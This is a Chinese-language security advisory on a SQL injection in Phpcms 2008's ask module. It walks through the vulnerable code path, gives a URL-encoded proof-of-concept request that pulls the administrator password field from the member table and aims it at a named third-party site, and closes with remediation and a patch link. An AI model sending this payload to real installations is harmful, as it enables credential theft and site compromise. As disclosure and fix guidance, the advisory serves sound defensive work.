影响版本:
Phpcms 2008
漏洞描述:
在文件ask/query.php中: case 'edit_answer': //第39行 if($dosubmit) { if(strlen($answertext) > 10000) showmessage('回答字数不能超过10000个字符'); $posts['message'] = $M['use_editor'] ? $answertext : strip_tags($answertext); $answer->edit($pid, $posts, $_userid); $answer->edit在文件ask\include\answer.class.php中: function edit($id, $posts, $userid) //第109行 { $id = intval($id); $userid = intval($userid); if(!$id || !is_array($posts)) return false; if($userid) $sql = " AND userid=$userid"; return $this->db->update($this->table_posts, $posts, "pid=$id $sql"); } db->update在文件include/ db_mysql.class.php中,代码: function update($tablename, $array, $where = '') //第83行 { if($where) { $sql = ''; foreach($array as $k=>$v) { $sql .= ", `$k`='$v'"; } $sql = substr($sql, 1); $sql = "UPDATE `$tablename` SET $sql WHERE $where"; 数组变量$posts没有初始化,导致注入漏洞的产生。
测试方法:
http://ennuu.com/ask/query.php?action=edit_answer&dosubmit=1&pid=2&posts[%6D%65%73%73%61%67%65%60%3D%28%73%65%6C%65%63%74%20%70%61%73%73%77%6F%72%64%20%66%72%6F%6D%20%70%68%70%63%6D%73%5F%6D%65%6D%62%65%72%20%77%68%65%72%65%20%67%72%6F%75%70%69%64%3D%31%29%20%77%68%65%72%65%20%61%73%6B%69%64%3D%32%23]
安全建议:
初始化数组变量$posts 厂商补丁: PHPCMS ---------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.phpcms.cn
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